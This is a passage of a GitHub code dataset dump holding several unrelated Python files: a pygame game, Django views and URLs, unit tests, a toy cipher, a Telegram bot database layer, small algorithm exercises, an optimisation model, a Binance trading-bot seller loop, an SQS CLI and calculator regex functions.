   radius = 25\r\n    start = (size2 / 2, 50)\r\n\r\n    while running:\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                running = False\r\n            if event.type == pygame.KEYDOWN:\r\n                if event.key == pygame.K_r:\r\n                    initialize_data()\r\n                if event.key == pygame.K_PLUS or event.key == pygame.K_EQUALS:\r\n                    if size + 1 <= 10:\r\n                        size += 1\r\n                        initialize_data()\r\n                if event.key == pygame.K_MINUS:\r\n                    if size - 1 >= 3:\r\n                        size -= 1\r\n                        initialize_data()\r\n            if event.type == pygame.MOUSEBUTTONDOWN:\r\n                for row in range(len(rects)):\r\n                    for col in range(len(rects[row])):\r\n                        rect = rects[row][col]\r\n                        if rect.collidepoint(event.pos):\r\n                            choose_point(row, col)\r\n        # clear the screen\r\n        screen.fill((0, 0, 0))\r\n        # draw the game board\r\n        for row in range(size):\r\n            for col in range(row + 1):\r\n                rects[row][col] = pygame.draw.circle(screen,\r\n                                                     (255, 0, 0) if gameTable[row][col] != 0 else (255, 255, 255),\r\n                                                     (start[0] + col * 55 - row * 27.5, start[1] + row * 47), 25)\r\n                if gameTable[row][col] == 0 and rects[row][col].collidepoint(pygame.mouse.get_pos()):\r\n                    rects[row][col] = pygame.draw.circle(screen, (0, 0, 255),\r\n                                                         (start[0] + col * 55 - row * 27.5, start[1] + row * 47), 25)\r\n        text_surface = font.render(\r\n            \"player1 score: {0}, player2 score: {1}, Current Player: {2}\".format(scores[0], scores[1], curr_player + 1),\r\n            False, (255, 255, 255))\r\n        screen.blit(text_surface, (size2 / 2 - font.size(\r\n            \"player1 score: {0}, player2 score: {1}, Current Player: {2}\".format(scores[0], scores[1],\r\n                                                                                 curr_player + 1))[0] / 2,\r\n                                   rects[size - 1][0].y + 70))\r\n        draw_lines(lines)\r\n        for idx, text in enumerate(texts):\r\n            screen.blit(text, (10, idx * 22))\r\n        if check_game_ended():\r\n            text_surface = font.render(\"Game Ended, player {} wins\".format(1 if scores[0] > scores[1] else 2), False,\r\n                                       (255, 255, 255))\r\n            screen.blit(text_surface, (size2 / 2 - text_surface.get_size()[0] / 2, rects[size - 1][0].y + 100))\r\n        pygame.display.update()\r\n        clock.tick(30)\r\n\r\n\r\nstart_game()\r\n","repo_name":"EliranBreitbart/Pyramid_Game","sub_path":"game_ui.py","file_name":"game_ui.py","file_ext":"py","file_size_in_byte":7859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28023511089","text":"from django.contrib.auth.views import LogoutView\nfrom Django_blog_project import settings\nfrom django.urls import path, include\nfrom blog.views import *\n\nurlpatterns = [\n    path('', MainView.as_view(), name='main'),\n    path('blog/', PostsView.as_view(), name='posts'),\n    path('blog/<slug>/', PostDetailView.as_view(), name='post_detail'),\n    path('signup/', SignUpView.as_view(), name='signup'),\n    path('signin/', SignInView.as_view(), name='signin'),\n    path('signout/', LogoutView.as_view(), {'next_page': settings.LOGOUT_REDIRECT_URL}, name='signout'),\n    path('contact/', FeedBackView.as_view(), name='contact'),\n    path('success/', AboutUSView.as_view(), name='about_us'),\n    path('search/', SearchResultsView.as_view(), name='search_results'),\n    path('tag/<slug:slug>/', TagView.as_view(), name=\"tag\"),\n    path('category/<slug:slug>/', CategoryView.as_view(), name=\"category\"),\n    path('privacy-policy/', PrivacyPolicy.as_view(), name='privacy_policy'),\n    path('<str:user_name>', AuthorPage.as_view(), name='author_page'),\n    path('blog/<int:pk>/comments/create/', CommentCreateView.as_view(), name='comment_create_view'),\n    path('user/edit/', ProfileUpdateView.as_view(), name='profile_edit'),\n    path('user/<int:pk>/', ProfileDetailView.as_view(), name='profile_detail'),\n    path('post/create/', PostCreateView.as_view(), name='post_create'),\n    path('post/<str:slug>/update/', PostUpdateView.as_view(), name='post_update'),\n    path('post/<str:slug>/delete/', PostDeleteView.as_view(), name='post_delete'),\n]\n","repo_name":"melxiory/Django_blog_project","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73554240693","text":"from tkinter import Tk\r\nfrom tkinter import Button\r\nfrom project import reset_quiz\r\nfrom project import get_words\r\nimport project\r\nimport csv\r\nimport pandas as pd\r\nfrom project import delete_row \r\n\r\ndef test_get_words():\r\n    # Create a temporary CSV file with known data\r\n    word = \"cat\"\r\n    meaning = \"animal\"\r\n    \r\n    with open(\"dictionary.csv\", \"w\", newline=\"\") as file:\r\n        writer = csv.DictWriter(file, fieldnames=[\"word\", \"meaning\"])\r\n        writer.writerow({\"word\": word, \"meaning\": meaning})\r\n\r\n    # Call the get_words function and get the results\r\n    meaning_list, word_list, dictionary = project.get_words()  # Replace 'your_module' with the actual module name\r\n\r\n    # Define the expected results\r\n    expected_meaning_list = [\"animal\"]\r\n    expected_word_list = [\"cat\"]\r\n    expected_dict = [{\"meaning\": \"animal\",\"word\": \"cat\"}]\r\n\r\n    # Check if the results match the expected values using pytest assertions\r\n    assert meaning_list == expected_meaning_list\r\n    assert word_list == expected_word_list\r\n    assert dictionary == expected_dict\r\n\r\n# Test for reset_quiz\r\ndef test_reset_quiz():\r\n    root = Tk()\r\n    button = Button(root, text=\"Start Quiz\")\r\n    button.pack()\r\n    \r\n    reset_quiz()\r\n    \r\n    assert len(root.winfo_children()) == 1\r\n\r\ndef test_delete_row():\r\n    # Create a sample CSV file with data for testing\r\n    data = {'word': ['apple', 'banana', 'cherry'], 'meaning': ['fruit', 'fruit', 'fruit']}\r\n    df = pd.DataFrame(data)\r\n    df.to_csv('sample_dictionary.csv', index=False)\r\n\r\n    # Initially, the sample CSV should have 3 rows\r\n    initial_data = pd.read_csv('sample_dictionary.csv')\r\n    assert len(initial_data) == 3\r\n\r\n    k = (1, \"sample_dictionary.csv\")\r\n    # Delete the second row (index 1)\r\n    delete_row(k)\r\n\r\n    # Reload the data after deletion\r\n    updated_data = pd.read_csv('sample_dictionary.csv')\r\n\r\n    # Check if the row was removed\r\n    assert len(updated_data) == 2\r\n    assert updated_data.iloc[0]['word'] == 'apple'\r\n    assert updated_data.iloc[1]['word'] == 'cherry'\r\n\r\n    # Teardown: Remove the sample CSV file\r\n    import os\r\n    os.remove('sample_dictionary.csv')","repo_name":"mea1234/dictionary-app-with-python","sub_path":"test_project.py","file_name":"test_project.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28448880791","text":"from random import choice\n\ndef decode_Ggg(keys, text):\n    keys_words = dict(zip(keys.split()[1::2], keys.split()[0::2]))\n    text_decrypt = \"\"\n    s = \"\"\n    for c in text:\n        if c == \"g\" or c == \"G\":\n            s += c\n        else:\n            text_decrypt += c\n        \n        if s in keys_words.keys():\n            text_decrypt += keys_words[s]\n            s = \"\"\n    return text_decrypt\n\n\ndef encode_Ggg(text):\n    keys = list()\n    keys_words = dict()\n    text_encrypt = \"\"\n    aKey = \"\"\n    i = 0\n    words = set([c for c in text if c.isalpha()])\n    \n    while i < len(words):\n        akey = \"\".join(choice(\"Gg\") for _ in range(3))\n        \n        if akey not in keys:\n            keys.insert(i, akey)\n            i+=1\n    \n    keys_words = dict(zip(words, keys))\n   \n    for c in text:\n        if c.isalpha():\n            text_encrypt += keys_words[c]\n        else:\n            text_encrypt += c\n    keys = ' '.join('{}{}'.format(key+\" \", val) for key, val in keys_words.items())\n    \n    return keys, text_encrypt\n\nprint(decode_Ggg(\"H GgG d gGg e ggG l GGg o gGG r Ggg w ggg\",\n                 \"GgGggGGGgGGggGG, ggggGGGggGGggGg!\"))\nprint(encode_Ggg(\"Hello, World!\"))\n\n    \n\n\n","repo_name":"freddiev4/dailyprogrammerchallenges","sub_path":"Intermediate Challenges/Challenge 0245 Intermediate - Ggggggg gggg Ggggg-ggggg!/solutions/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":313,"dataset":"github-code","pt":"21"}
+{"seq_id":"28428154515","text":"import logging\nimport os\nimport traceback\nfrom codecs import decode, encode\nfrom functools import lru_cache\nfrom typing import Any, Dict, List, Optional, Union\n\nfrom motor.core import AgnosticCollection\nfrom motor.motor_asyncio import (\n    AsyncIOMotorClient,\n    AsyncIOMotorCollection,\n    AsyncIOMotorDatabase,\n)\nfrom pymongo.errors import OperationFailure\nfrom yaml import full_load\n\nfrom .base import Base  # pylint: disable=R0401\nfrom .errors import BackupError\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass DataBase(Base):\n    \"\"\"Client Database on MongoDB\"\"\"\n\n    __client__: AsyncIOMotorClient\n    __db__: AsyncIOMotorDatabase\n    __lang__: AsyncIOMotorCollection\n    __language__: List[str]\n    __list_collection__: List[str]\n    __strings__: Dict[str, str]\n    __chat_lang__: Dict[int, str]\n\n    def __init__(self):\n        self.__language__ = sorted(\n            [os.path.splitext(filename)[0] for filename in os.listdir(\"./language\")]\n        )\n        self.__strings__ = {}\n        self.__chat_lang__ = {}\n\n        super().__init__()\n\n    @property\n    def language(self) -> list:\n        \"\"\"Return list of bot suported languages\"\"\"\n        return self.__language__\n\n    @property\n    def lang_col(self) -> AgnosticCollection:\n        \"\"\"Return client language collection\"\"\"\n        return self.__lang__\n\n    def _load_language(self):\n        \"\"\"Load bot language.\"\"\"\n        LOGGER.info(\"Loading language...\")\n        for i in self.__language__:\n            LOGGER.debug(f\"Loading language: {i}\")\n            with open(f\"./language/{i}.yml\", \"r\") as text:\n                self.__strings__[i] = full_load(text)\n        LOGGER.debug(f\"Language {self.__language__} loaded\")\n\n    async def connect_db(self, db_name: str) -> None:\n        \"\"\"Connect to MongoDB client\n\n        Parameters:\n            db_name (`str`): Database name to log in. Will create new Database if not found.\n        \"\"\"\n        LOGGER.info(\"Connecting to MongoDB...\")\n        try:\n            self.__client__ = AsyncIOMotorClient(self.get_config.db_uri, connect=False)\n            if db_name in await self.__client__.list_database_names():\n                LOGGER.debug(\"Database found, Logged in to Database...\")\n            else:\n                LOGGER.debug(\"Database not found! Creating New Database...\")\n        except OperationFailure as err:\n            traceback.print_exc()\n            LOGGER.critical(f\"DATABASE AUTHENTICATION FAILED\\n{err}\")\n            await self.loop.stop()\n\n        self.__db__ = self.__client__[db_name]\n        self.__list_collection__ = await self.__db__.list_collection_names()\n        LOGGER.info(\"Database connected\")\n        self.__lang__ = self.get_collection(\"LANGUAGE\")\n        async for i in self.__lang__.find():\n            self.__chat_lang__[i[\"chat_id\"]] = i[\"language\"]\n\n    async def disconnect_db(self) -> None:\n        \"\"\"Disconnect database client\"\"\"\n        self.__client__.close()\n        LOGGER.info(\"Disconnected from database\")\n\n    def get_collection(self, name: str) -> AgnosticCollection:\n        \"\"\"Get collection from database.\n\n        Parameters:\n            name (`str`): Collection name to fetch\n        \"\"\"\n        if name in self.__list_collection__:\n            LOGGER.debug(f\"Collection {name} Found, fetching...\")\n        else:\n            LOGGER.debug(f\"Collection {name} Not Found, Creating New Collection...\")\n        return self.__db__[name]\n\n    @lru_cache(maxsize=100)\n    def get_lang(self, chat_id) -> str:\n        \"\"\"Get user language setting.\"\"\"\n        return self.__chat_lang__.get(chat_id, \"en\")\n\n    async def switch_lang(self, chat_id: Union[str, int], language: str) -> None:\n        \"\"\"Change chat language setting.\"\"\"\n        await self.__lang__.update_one(\n            {\"chat_id\": int(chat_id)},\n            {\"$set\": {\"language\": language}},\n            upsert=True,\n        )\n        self.__chat_lang__[int(chat_id)] = language\n        self.get_lang.cache_clear()\n\n    async def migrate_chat(self, old_chat: int, new_chat: int):\n        \"\"\"Run all migrate handler on every migrateable plugin\"\"\"\n        LOGGER.debug(f\"Migrating chat from {old_chat} to {new_chat}\")\n        for plugin in list(self.plugins.values()):\n            if hasattr(plugin, \"__migrate__\"):\n                await plugin.__migrate__(old_chat, new_chat)\n\n    async def text(\n        self,\n        chat_id: int,\n        name: str,\n        *args: Optional[Any],\n        **kwargs: Optional[Any],\n    ) -> str:\n        \"\"\"Parse the string with user language setting.\n\n        Parameters:\n            chat_id (`int`):\n                Id of the sender(PM's) or chat_id to fetch the user language setting.\n\n            name (`str`):\n                String name to parse. The string is parsed from YAML documents.\n\n            *args (`any`, *Optional*):\n                One or more values that should be formatted and inserted in the string.\n                The value should be in order based on the language string placeholder.\n\n            **kwargs (`any`, *Optional*):\n                One or more keyword values that should be formatted and inserted in the string.\n                based on the keyword on the language strings.\n\n            special parameters:\n                noformat (`bool`, *Optional*):\n                    If exist and True, the text returned will not be formated.\n                    Default to False.\n\n        \"\"\"\n        lang = self.get_lang(chat_id)\n        noformat = bool(kwargs.get(\"noformat\", False))\n\n        if lang in self.__language__ and name in self.__strings__[lang]:\n            text = decode(\n                encode(\n                    self.__strings__[lang][name],\n                    \"latin-1\",\n                    \"backslashreplace\",\n                ),\n                \"unicode-escape\",\n            )\n            return text if noformat else text.format(*args, **kwargs)\n        err = \"NO LANGUAGE STRING FOR {} in {}\".format(name, lang)\n        LOGGER.warning(err)\n        # try to send the english string first if not found\n        try:\n            text = decode(\n                encode(\n                    self.__strings__[\"en\"][name],\n                    \"latin-1\",\n                    \"backslashreplace\",\n                ),\n                \"unicode-escape\",\n            )\n            return text if noformat else text.format(*args, **kwargs)\n        except KeyError:\n            return err + \"\\nPlease forward this to @ProtectorChats\"\n\n    async def backup_plugin_data(\n        self, chat_id: int, data: Optional[Dict] = None\n    ) -> Union[Dict, None]:\n        \"\"\"Backup chat data\n\n        Parameters:\n            chat_id (`int`):\n                Id of the sender(PM's) or chat_id to fetch the user language setting.\n            data (`dict`, *Optional*):\n                Data to restore. Only pass this if you want to restore.\n\n        Returns:\n            dict of backup if no data passed, otherwise None.\n        \"\"\"\n        if not isinstance(data, (type(None), dict)):\n            raise BackupError(f\"Data must be a dict or Nonetype not {data.__class__.__name__}\")\n\n        LOGGER.debug(\"{} chat data from {}\", \"Importing\" if data else \"Exporting\", chat_id)\n        result = {\"chat_id\": chat_id}\n        for plugin in list(self.plugins.values()):\n            if hasattr(plugin, \"__backup__\"):\n                if not data:\n                    LOGGER.debug(f\"Backing up {plugin.name} data\")\n                    plugin_data = await plugin.__backup__(chat_id)\n                    if not isinstance(plugin_data, (type(None), dict)):\n                        raise BackupError(\n                            f\"Unexpected return value type from `{plugin.name}` plugin: \"\n                            \"expecting a dict or NoneType, \"\n                            f\"got {plugin_data.__class__.__name__}\"\n                        )\n                    if not plugin_data:  # skip plugin if no data\n                        continue\n                    result.update({plugin.name: plugin_data})\n                else:\n                    LOGGER.debug(f\"restoring {plugin.name} data\")\n                    await plugin.__backup__(chat_id, data)\n        return result if not data else None\n","repo_name":"iamarch/Protector","sub_path":"Protector/core/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":8160,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"22328108766","text":"\n#https://www.spoj.com/problems/MST/\nimport sys\nfrom collections import defaultdict\ntry: \n\tsys.stdin = open('input.txt', 'r') \n\tsys.stdout = open('output.txt', 'w')\n\nexcept: \n\tpass\n\n\n\nclass DisjointSet():\n    def __init__(self,n):\n        self.parent=[]\n        self.rank=[]\n        for i in range(n+1):\n            self.parent.append(i)\n            self.rank.append(0) #default rank\n\n    def find(self,node):\n        if(node==self.parent[node]):\n            return node\n        node=self.find(self.parent[node]) #path compression\n        return node\n\n    def union(self,u,v):\n        leader_u=self.find(u)\n        leader_v=self.find(v)\n        if(self.rank[leader_u]>self.rank[leader_v]):\n            u,v=v,u\n            leader_u,leader_v=leader_v,leader_u\n        if(leader_u!=leader_v):\n            self.parent[leader_u]=leader_v #update pointer\n            self.rank[leader_v]+=1 #update rank\n        \ndef hasSingleCycle(array):\n    # Write your code here.\n    \n    n=len(array)\n    ds=DisjointSet(n)\n    for i,jumps in enumerate(array):\n        u=i\n        v=(i+jumps)%n\n        print(u,v)\n        if(ds.find(u)==ds.find(v)):\n            return True\n        ds.union(u,v)\n    \n    \n            \n    return False\n                \n        \n        \n    \nprint(hasSingleCycle([2,3,1,-4,-4,2]))\n\n\n\n\n\n\n\t\t\n\n\t\t\n\t\t\t\t\n\n\n\n\n\t\t\n\n","repo_name":"thecodearrow/Algorithms","sub_path":"Data Stuctures/Disjoint Sets/MST.py","file_name":"MST.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"22141320454","text":"import sys\n\ndef quicksort(arr):\n\tarr = helpersort(arr, 0, len(arr) - 1)\n\treturn arr\n\ndef helpersort(arr, low, pivote):\n\tif pivote - low <= 1:\n\t\treturn arr\n\n\tcount = low\n\tfor i in range(low,pivote):\n\t\tif arr[i] < arr[pivote]:\n\t\t\tarr[i], arr[count] = arr[count], arr[i]\n\t\t\tcount += 1\n\n\tarr[pivote], arr[count] = arr[count], arr[pivote]\n\t\n\tarr = helpersort(arr, low, count - 1)\n\tarr = helpersort(arr, count + 1, pivote)\n\n\treturn arr\n\ndef replaces(arr, i, j):\n\tarr[i] = arr[i].replace('[', '')\n\tarr[j] = arr[j].replace(']', '')\n\treturn arr\n\nif len(sys.argv) > 1:\n\tarr = sys.argv[1:]\n\n\tif len(arr) == 1:\n\t\tarr = replaces(arr, 0, 0)\n\t\tarr = arr[0].split(',')\n\n\tn = len(arr)\n\tarr = replaces(arr, 0, n-1)\n\t\n\tarr1 = []\n\tfor i in range(0, n):\n\t\tif arr[i] != '' and arr[i] != '':\n\t\t\tarr[i] = arr[i].replace(',', '')\n\t\t\tarr1.append(int(arr[i]))\n\n\tprint(quicksort(arr1))\nelse:\n\tprint([])\n","repo_name":"TamerB/practicing_algorithms","sub_path":"devide_and_conquer/quicksort/quicksort.py","file_name":"quicksort.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19642141075","text":"from util.math.vector3 import Vector3\n\nTest_Verts = [\n        Vector3([0, 0, 0], data_type=float),\n        Vector3([0, 1, 0], data_type=float),\n        Vector3([0, 1, 1], data_type=float),\n        Vector3([0, 0, 1], data_type=float),\n    ]\n\nTest_Tris_Index = [\n    Vector3([0, 1, 2]),\n    Vector3([1, 2, 3])\n]\n\nif __name__ == '__main__':\n    from solo_mesh import SoloMesh\n    from recast.geom import Geom\n    from recast.build_config import BuildConfig\n    from recast.context import Context\n    context = Context()\n    config = BuildConfig()\n    geom = Geom(verts=Test_Verts, tris_index=Test_Tris_Index)\n    soleMesh = SoloMesh(context, config, geom)\n","repo_name":"ZhengYunH/PyRecastDetour","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"2996068681","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 13 20:44:26 2020\n\n@author: sergi\n\"\"\"\n\nfrom __future__ import division\nfrom pyomo.environ import *\nfrom pyomo.opt import SolverFactory\n\n\n\n# M = model\nM = ConcreteModel()\n\n# Sets and Parameters\n\n#M.valor=[2, 5, 4, 2, 6, 3, 1, 4]\n\nnumProyectos=8\n\nM.p=RangeSet(1, numProyectos)\n\nM.valor=Param(M.p, mutable=True)\n\nfor i in M.p:\n    M.valor[i]=2  \n\nM.valor[1]=2\nM.valor[2]=5\nM.valor[3]=4\nM.valor[4]=2\nM.valor[5]=6\nM.valor[6]=3\nM.valor[7]=1\nM.valor[8]=4\n\n#a=M.valor.__dict__\n#b=dir(M.valor._data[1])\n#c=M.valor._data[1].value\n     \n#for i in M.p:\n#    print(M.valor._data[i].value)\n    \n\n# Variables\nM.x = Var(M.p, domain=Binary)\n\n# Objective Function\nM.obj = Objective(expr = sum(M.x[i]*M.valor[i] for i in M.p), sense=maximize)\n\n# Constraints\n#def res1(M):\n#    return \nM.res1 = Constraint(expr = sum(M.x[i] for i in M.p) == 2)\n\n# Applying the solver\nSolverFactory('glpk').solve(M)\n\nM.display()\n","repo_name":"sergiocanalesm1/Optimization_python","sub_path":"venv/ejemplos/proyectos.py","file_name":"proyectos.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"72260051252","text":"from binance.exceptions import BinanceAPIException\nimport Database\nfrom binance.client import Client\nimport config\nimport time\nfrom indicator import MACDEMA\nimport setup\nimport requests\n\nintervals = (\n    ('hafta', 604800),  # 60 * 60 * 24 * 7\n    ('gün', 86400),    # 60 * 60 * 24\n    ('saat', 3600),    # 60 * 60\n    ('dakika', 60),\n    )\n\ndef display_time(seconds, granularity=3):\n    result = []\n\n    for name, count in intervals:\n        value = seconds // count\n        if value:\n            seconds -= value * count\n            if value == 1:\n                name = name.rstrip('s')\n            result.append(\"{} {}\".format(value, name))\n    return ', '.join(result[:granularity])\n\n\nconnection = Database.create_connection(\"test.db\")\n\nTIME = \"3 week ago UTC+3\"\n\ndef seller():\n    print(\"Seller is working...\")\n    client2 = Client(config.api_key2, config.api_secret2)\n    while True:\n        if Database.count_open_orders(connection) > 0:\n            SYMBOLS = Database.getOpenOrder(connection)\n            for x in SYMBOLS:\n                try:\n                    time.sleep(0.3)\n                    klines = client2.get_historical_klines(x[1], Client.KLINE_INTERVAL_4HOUR, TIME)\n                    if len(klines) > 26:\n                        close=[]\n                        for entry in klines:\n                            close.append(float(entry[4]))\n                        macdBuy, macdSell, macd, signal = MACDEMA(close)\n                        #cciBuy, cciSell,invcci = cci(close)\n                        stop = close[-1] < x[2]\n                        sell = close[-1] >= x[3]\n                    \n                        if macdSell:\n                            order = (klines[-1][4],klines[-1][0],x[0])\n                            Database.sellOrder(connection,order)\n                            timeClose = display_time(int(time.time()-x[4]))\n                            msg = x[1] + \"\\U0001F4B0 Satış: \" + str(round(float(klines[-1][4]),8)).replace(\".\", \"\\\\.\") + Database.profitCalc(connection,x[0]) + \"\\n\" + timeClose\n                            setup.bot.send_message(-1001408874432, msg)\n                            continue\n                        if stop:\n                            order = (klines[-1][4],klines[-1][0],x[0])\n                            Database.sellOrder(connection,order)\n                            timeClose = display_time(int(time.time()-x[4]))\n                            msg = x[1]+ \"\\U0001F534 Stop: \" + str(round(float(klines[-1][4]),8)).replace(\".\", \"\\\\.\") + Database.profitCalc(connection,x[0]) + \"\\n\" + timeClose\n                            setup.bot.send_message(-1001408874432, msg)\n                            continue\n                        if sell:\n                            order = (klines[-1][4],klines[-1][0],x[0])\n                            Database.sellOrder(connection,order)\n                            timeClose = display_time(int(time.time()-x[4]))\n                            msg = x[1]+ \"\\U0001F4B8 Satış: \" + str(round(float(klines[-1][4]),8)).replace(\".\", \"\\\\.\") + Database.profitCalc(connection,x[0]) + \"\\n\" + timeClose\n                            setup.bot.send_message(-1001408874432, msg)\n                            continue\n\n                except BinanceAPIException as e:\n                    print('Something went wrong in seller')\n                    time.sleep(60)\n                    client2 = Client(config.api_key2, config.api_secret2)\n                    continue\n                except:\n                    setup.bot.send_message(923698949, 'Seller error')\n                    print(\"unexpected error in seller\")\n                    time.sleep(60)\n                    client2 = Client(config.api_key2, config.api_secret2)\n                    continue\n        else:\n            time.sleep(20)\n","repo_name":"0uz/Trade-bot-v2","sub_path":"seller.py","file_name":"seller.py","file_ext":"py","file_size_in_byte":3794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"70386650612","text":"import click\nfrom click_tools import FileUrlIterStringParamType\n\nfrom aws_utils.queue_manager import QueueManager\n\n\n@click.command()\n@click.option(\"--fifo\", is_flag=True, default=False, help=\"Use FIFO queue.\")\n@click.option(\"--avoid-duplicates / --allow-duplicates\", \"avoid_duplicates\", is_flag=True, default=True, help=\"Allow duplicates.\")\n@click.argument(\"queue_name\", type=str)\n@click.argument(\"message_file\", type=FileUrlIterStringParamType(\"r\"), default=\"-\")\ndef cli(fifo, avoid_duplicates, queue_name, message_file):\n    \"\"\"Simple CLI for sending messages to an AWS SQS queue.\"\"\"\n    queue_manager = QueueManager(queue_name, fifo=fifo, deduplicate=avoid_duplicates)\n\n    bulk = []\n    for msg in message_file:\n        msg = msg.strip()\n        click.echo(msg)\n\n        bulk.append(msg)\n\n        if len(bulk) == 10:\n            queue_manager + bulk\n            bulk = []\n\n    if bulk:\n        queue_manager + bulk\n\nif __name__ == \"__main__\":\n    cli()\n","repo_name":"ralamosm/aws-utils","sub_path":"aws_utils/cli/queuer.py","file_name":"queuer.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38664276841","text":"#!/usr/bin/python3\n\nfrom modularcalculator.features.feature import Feature\nfrom modularcalculator.features.strings.strings import StringsFeature\nfrom modularcalculator.features.structure.functions import FunctionDefinition\nfrom modularcalculator.objects.exceptions import *\nfrom modularcalculator.objects.items import *\nfrom modularcalculator.objects.number import *\nfrom modularcalculator.objects.operators import OperationResult, OperatorDefinition\n\nimport re\n\n\nclass RegexFeature(Feature):\n\n    def id():\n        return 'strings.regex'\n\n    def category():\n        return 'String'\n\n    def title():\n        return 'Regular Expressions'\n\n    def desc():\n        return 'Functions for regular expressions'\n\n    def dependencies():\n        return ['strings.strings','structure.functions','arrays.arrays']\n\n    @classmethod\n    def install(cls, calculator):\n        calculator.add_op(OperatorDefinition(\n            'Regular Expression',\n            '=~',\n            'Return true if value matches regex',\n            RegexFeature.op_regex,\n            1,\n            1,\n            'string'))\n\n        calculator.add_op(OperatorDefinition(\n            'Regular Expression',\n            '!~',\n            'Return true if value doesn\\'t match regex',\n            RegexFeature.op_regexnot,\n            1,\n            1,\n            'string'))\n\n        calculator.funcs['regexget'] = FunctionDefinition(\n            'Regular Expression',\n            'regexget',\n            'Return either all or a specific occurrence of a pattern in a string',\n            ['string', 'pattern', '[group]'],\n            RegexFeature.func_regexget,\n            2,\n            3)\n        calculator.funcs['regexget'].add_value_restriction(0, 1, 'string')\n        calculator.funcs['regexget'].add_value_restriction(2, 2, 'number')\n\n        calculator.funcs['regexsplit'] = FunctionDefinition(\n            'Regular Expression',\n            'regexsplit',\n            'Split a string on a regular expression and return as an array',\n            ['string', 'pattern'],\n            RegexFeature.func_regexsplit,\n            2,\n            2,\n            'string')\n\n        calculator.funcs['regexsub'] = FunctionDefinition(\n            'Regular Expression',\n            'regexsub',\n            'Replace all or a specific occurrence of a pattern with a replacement',\n            ['string', 'pattern', 'replacement', '[group]'],\n            RegexFeature.func_regexsub,\n            3,\n            4)\n        calculator.funcs['regexsub'].add_value_restriction(0, 2, 'string')\n        calculator.funcs['regexsub'].add_value_restriction(3, 3, 'number')\n\n        calculator.funcs['regexcount'] = FunctionDefinition(\n            'Regular Expression',\n            'regexcount',\n            'Count the number of times a pattern appears in a string',\n            ['string', 'pattern'],\n            RegexFeature.func_regexcount,\n            2,\n            2)\n        calculator.funcs['regexcount'].add_value_restriction(0, 1, 'string')\n\n    def op_regex(self, vals, units, refs, flags):\n        return OperationResult((re.search(StringsFeature.string(self, vals[1]), StringsFeature.string(self, vals[0])) is not None))\n\n    def op_regexnot(self, vals, units, refs, flags):\n        return OperationResult((re.search(StringsFeature.string(self, vals[1]), StringsFeature.string(self, vals[0])) is None))\n\n    def func_regexget(self, vals, units, refs, flags):\n        found = re.findall(StringsFeature.string(self, vals[1]), StringsFeature.string(self, vals[0]))\n        if len(vals) == 3:\n            group = int(vals[2]) - 1\n            return OperationResult(found[int(group)])\n        found = [OperandResult(f, None, None) for f in found]\n        return OperationResult(found)\n\n    def func_regexsplit(self, vals, units, refs, flags):\n        found = re.split(StringsFeature.string(self, vals[1]), StringsFeature.string(self, vals[0]))\n        found = [OperandResult(f, None, None) for f in found]\n        return OperationResult(found)\n\n    def func_regexsub(self, vals, units, refs, flags):\n        if len(vals) == 4:\n            return OperationResult(re.subn(StringsFeature.string(self, vals[1]), StringsFeature.string(self, vals[2]), StringsFeature.string(self, vals[0]), int(vals[3]))[0])\n        elif len(vals) == 3:\n            return OperationResult(re.sub(StringsFeature.string(self, vals[1]), StringsFeature.string(self, vals[2]), StringsFeature.string(self, vals[0])))\n        else:\n            raise CalculatorException(\"regexsub requires 3 or 4 arguments, found {0}\".format(len(vals)))\n\n    def func_regexcount(self, vals, units, refs, flags):\n        return OperationResult(Number(len(re.findall(StringsFeature.string(self, vals[1]), StringsFeature.string(self, vals[0])))))\n","repo_name":"JordanL2/ModularCalculator","sub_path":"modularcalculator/features/strings/regex.py","file_name":"regex.py","file_ext":"py","file_size_in_byte":4749,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"12416722893","text":"import sys\n\nfrom pprint import PrettyPrinter\n\nfrom django.contrib import messages\nfrom django.http import HttpResponseForbidden\nfrom django.shortcuts import get_object_or_404, redirect, render\n\nfrom ..forms.restaurant import (\n    RegisterForm,\n    SendEmailForm\n)\n\nfrom core.company.models import Company\nfrom core.product.forms.product import CategoryForm, CategoryUpdateForm\nfrom core.product.models import Category\nfrom core.user.models import AdminUser\n\ndumper = PrettyPrinter(indent=4, stream=sys.stderr).pprint\n\n\ndef register(request):\n    '''\n    This method sends an email to register a restaurant admin in app\n    '''\n    template = 'restaurant/register.html'\n\n    if request.method == 'POST':\n        form = SendEmailForm(request.POST)\n\n        if form.is_valid():\n            form.send_email()\n            return redirect('restaurant:form_sent')\n    else:\n        form = SendEmailForm\n\n    return render(request, template, {'form': form})\n\n\ndef add(request):\n    template = 'restaurant/add.html'\n    user_email = request.user\n    try:\n        user = AdminUser.objects.get(email=user_email)\n    except 